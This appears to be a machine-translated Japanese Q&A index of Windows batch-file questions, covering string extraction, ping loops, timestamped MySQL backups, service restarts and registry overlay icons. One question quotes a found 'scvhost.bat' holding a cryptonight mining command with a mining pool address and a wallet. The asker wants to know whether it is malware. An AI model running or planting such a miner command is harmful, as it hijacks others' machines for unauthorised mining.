タグ付けされた質問 「batch-file」

バッチファイルは、MS-DOS、IBM OS / 2、またはMicrosoft Windowsシステムのコマンドインタープリターによって実行される一連のコマンドを含むテキストファイルです。

4
Windowsバッチファイルで文字列の一部を抽出する方法
バッチ(cmd)ファイルの変数に格納されている「Abc_123」などの値があるとします。「123」だけを含む変数になりたいのですが。これを行う組み込みの方法はありますか? 典型的なWindows(Vista / 2008)システムに組み込まれている限り、私はメソッドやパフォーマンスについてひどくうるさくはありません。

5
ディレクトリ内の拡張機能タイプの完全なリストを抽出する方法は?
ディレクトリ内、およびそのサブディレクトリ内で再帰的に、つまりディレクトリ内のすべてのディレクトリが処理されることを意味します。ディレクトリ内の一意の拡張子の完全なリストをコンパイルするにはどうすればよいですか? OSは現在のすべての更新プログラムを備えたWindows XPですが、スクリプトの実行内容を把握できればスクリプトを実行できますが、ドットネットをインストールする必要はありません。

10
X分ごとにpingを実行し、応答時間を確認するにはどうすればよいですか?
私は現在大企業で働いており、深刻な遅延の問題があります。これはプロセス制御システムで発生しており、受け入れられません(コマンドを開始する前にバルブを開くのに2分かかることがあります) ネットワークチームが「すべてがネットワーク上で問題ない」と言ったときに、再確認したいと思います。そのため、サーバーにpingを実行し、結果をテキストファイルに書き込むループを作成します。 私はバッチの専門家ではありませんが、このコードの使用は正しいと思いますか? @ECHO OFF :LOOPSTART time /T ping xxx.xx.x.x -t >> filename.txt sleep -m 3000 GOTO LOOPSTART



6
cmd経由でCDを取り出すにはどうすればよいですか?
この質問は、Super Userで回答できるため、Stack Overflowから移行されました。 4年前に移行され ました。 私はcmdを使用してcdドライブを排出しようとしました。 しかし、私は困惑しています。インターネットで検索すると、私はこの答えを見つけました: eject D: 似たような答え eject D: /I 両方とも機能しません。 編集 今、スーパーユーザーでこの答えが見つかっています。 Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection colCDROMs.Item(0).Eject ただし、エラーが発生します。 colCDROMS.Itemは、内部コマンドまたは外部コマンド、操作可能なプログラム、またはバッチファイルとして認識されません。


6
コマンドプロンプトでTAB文字をエコーする方法
Windowsのバッチファイルで、エコーする適切な方法は何TABですか? echo A<TAB>B<TAB>C TABエントリ間に文字を入力できることは知っていますが、ほとんどのエディターはスペースのシーケンスとして表示します。いくつかは自動的にスペースに変換することさえあります。もっと視覚的なものを探しています。 明確化: <TAB>ここでは実際のタブ文字を意味します。バッチスクリプトでC \ tを探しています。

3
ワイルドカードサービスの再起動
現在、すべてのサービスを一覧表示する.BATファイルをセットアップして、それらを開始/停止します。 SC start SERVICE SC start SERVICE SC stop SERVICE SC stop SERVICE 常に新しいサービスを追加するため、リストが大きくなり、バッチファイルを維持するのが難しくなります。 「SC start SERVICE *」などのWILDCARDを使用できますか?

6
バッチファイルで日付と時刻を使用してファイル名を作成する
バッチファイルからプログラムを実行しています。バッチファイルが完了すると、MySQLデータベースの自動バックアップが実行されます。 バッチファイルで実行ごとに異なるバックアップを作成して、バックトレースできるようにします。 目的のファイル名はgnucash_shockwave-20121128210344.sql(日付形式YYYY-MM-DD-HH-MM-SS)です try %DATE:~4%と言ったいくつかのことをグーグルで調べました%Date.Year%が、というエラーが表示されますThe system cannot find the specified path. タイムスタンプの試行を削除すると、スクリプトは正常に機能しますが、以前のバックアップを上書きします 私が話しているコードのセクションは次のとおりです。 @REM *** EXECUTION *** echo. Starting backup... SET timestamp %DATE:~-4%%DATE:~4,2%%DATE:~7,2%%TIME% %mysqldir%\mysqldump -u %mysqluser% -p%mysqlpassword% -h %mysqlhost% -P %mysqlport% --databases --routines --verbose gnucash_shockwave > %BackupDir%\gnucash_shockwave-%timestamp%.sql echo.------------------------------------------------------ echo. Backup complete! 助言がありますか?

6
単一バッチファイルコマンドのディレクトリを一時的に変更する
シェルスクリプトで、ディレクトリからコマンドを実行する必要がある場合、サブシェルを使用して元のコンテキストに確実に戻ることができます。 (cd temporary/new/directory ; command) # now I am still in original directory これはWindowsバッチファイル(またはcmdファイル)で実行できますか バッチファイルで同じ操作を行うと、新しいディレクトリに移動します。 できます: pushd temporary\new\directory && command && popd しかしpopdはの成功に依存していcommandます。 何か案は?

1
cryptonightを使用したscvhost.batはウイルスですか?マイナーですか?
scvhost.batという名前のこの.batファイルを見つけました。ファイルにはこのコンテンツが含まれていました: scvhost -a cryptonight -o stratum+tcp://xmr-eu.dwarfpool.com:8005 -u 48uh2mrdkdq2tQysfkX2hZDi2hkRua4GX13EqY8djJ5xNXhez7baztVWbwXa34vUMveKAzAiA4j8xgUi29TpKXpm42jqV6H.microSf -p MXXXXXX-t 02 これはウイルス(情報を盗むなど)か、植え付けられた鉱夫ですか?私も暗号通貨に手を出しstratum、上記のファイルに記載されている通貨であるため、私は心配しています。

2
batファイルの実行中にフォルダーが閉じられた場合、CMDウィンドウは閉じません
奇妙な動作をしているServer 2012 R2 Standard 64ビット仮想マシンがあります。Batファイルは正常に機能し、CMDウィンドウは正常に閉じます。ただし、batファイルの実行中にbatファイルを含むフォルダーが閉じられると終了しますが、CMDウィンドウは閉じません。これを単純化して、可能な限り単純なbatファイルを作成しました。1行が含まれています。一時停止 Windowsエクスプローラーでbatファイルを含むフォルダーを開きます batファイルをダブルクリックして開始します Windowsエクスプローラーウィンドウを閉じる CMDウィンドウで任意のキーを押します batファイルが終了すると、カーソルは次の行に移動します CMDウィンドウが残る これは1台のマシンでのみ発生します。なぜこれが起こるのか誰にも分かりますか?これはテストVMであり、再構築する必要があるかもしれませんが、興味があります。ありがとう 単純なbatファイルを次のものを含むファイルに置き換えました。 @assoc .bat @for /F "tokens=1,* delims==" %%G in ('assoc .bat') do @ftype %%H @reg query "HKLM\Software\Microsoft\Command Processor" /v AutoRun 2>NUL @reg query "HKCU\Software\Microsoft\Command Processor" /v AutoRun 2>NUL @wmic process where "caption = 'cmd.exe'" get CommandLine, ParentProcessId, ProcessID …

6
特定のウィンドウサイズでコンソールアプリケーションを開くにはどうすればよいですか?
開始したいアプリケーションはMongoDBです。正常に起動すると、次のようになります。 私は改行の量が気に入らず、画面スペースがたくさんあるので、そのスペースを利用して改行を取り除きたいと思います。 コンソールウィンドウのサイズはで変更できるため、MODE次のようなバッチファイルを作成しました。 @ECHO OFF MODE con:cols=140 lines=70 %~dp0mongodb\bin\mongod --dbpath %~dp0data --rest ここまでは順調ですね。このバッチファイルを開始すると、必要に応じて大きなウィンドウが表示されます。 しかし、MongoDBを終了するためにCtrl+ Cを押すと、面倒なプロンプトが表示されます。 Terminate batch job (Y/N)? 私が終了したばかりのコマンドは、とにかくバッチジョブの最後のコマンドであり、何を答えても結果は同じであるため、これは役に立ちません。 それで、Ctrl+ を押したときにプロンプ​​トが表示されずに、アプリケーションの大きなコンソールウィンドウを取得するにはどうすればよいCですか?

1
オーバーレイアイコンの変更を防止できますか?
バックグラウンド いくつかのプログラムは、状態を示すためにexplorereのアイコンを変更します(「同期」 など) Windows(win7、win8、win10?)は限られた量のアイコン(〜15)しか処理できず、いくつかの関連する質問(fe here)があることは既知の事実です。 これらのオーバーレイアイコンは、ブランチのレジストリに登録されます。 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers 実際に使用されるのは最初の2つのエントリ(15?)のみで、その他は無視されます。その結果、複数のプログラムが独自のオーバーレイアイコンをインストールすると、既にインストールされているプログラムの動作が破損する可能性があります。 これを修正するには、通常、レジストリにアクセスして、不要なエントリが一番上になるまで不要なエントリを削除(または名前変更)する必要があります。 問題 最近、私はこれらのトップの位置のために戦っているいくつかのプログラムのますます「攻撃的な」振る舞いに気づきました。これはほとんどの場合、空白文字で始まるキー名を使用して、トップソートを強制することによって行われます。 たとえば、Dropbox、GoogleDrive、SkyDrive、OneDriveはすべてこれを実行します。GoogleDriveのように、最近では3つの空白を使用しているものもありますが、他のプログラムも同様になっています... さらに悪いことに、一部のプログラムでは、自動化された「更新」中にこの設定を自動的に修復します(または、更新チェックやプログラムの起動までも)。したがって、手動調整は定期的に元に戻されます。少なくともGoogleDrive、Dropbox、OneDriveについてはこれに気づきました 質問 そのような自動化された変更からレジストリを「保護」する方法はありますか? 編集(回答) アレクセイ・イワノフは以下のコメントで良い提案をしてくれましたが、これまでのところ「レジストリ権限の取り消し」は私にとって問題を抑えています。

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.